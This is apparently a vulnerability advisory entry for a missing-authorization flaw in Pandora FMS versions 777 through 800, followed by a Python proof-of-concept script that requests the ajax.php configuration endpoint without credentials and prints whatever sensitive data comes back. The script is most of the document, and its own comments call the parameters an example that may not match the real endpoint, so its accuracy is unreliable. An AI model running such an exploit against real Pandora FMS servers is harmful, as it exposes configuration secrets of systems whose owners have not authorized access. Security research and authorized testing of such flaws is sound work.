Missing Authorization vulnerability allows Exposure of Sensitive Information via configuration endpoint. This issue affects Pandora FMS: from 777 through 800
The following code is for security research and authorized testing only.
python
import requests
# Target configuration endpoint
# Replace 'target-ip' with the actual IP of the vulnerable Pandora FMS instance
target_url = "http://target-ip/pandora_console/ajax.php"
# Example payload to exploit missing authorization on config endpoint
# Note: The actual endpoint might vary based on specific version and setup
params = {
"page": "include/ajax/servers",
"get_config": "1"
}
# The vulnerability implies low privilege is enough, or no auth check on the specific endpoint
response = requests.get(target_url, params=params)
if response.status_code == 200:
print("[+] Successfully retrieved sensitive information:")
print(response.text)
else:
print("[-] Request failed or endpoint not reachable.")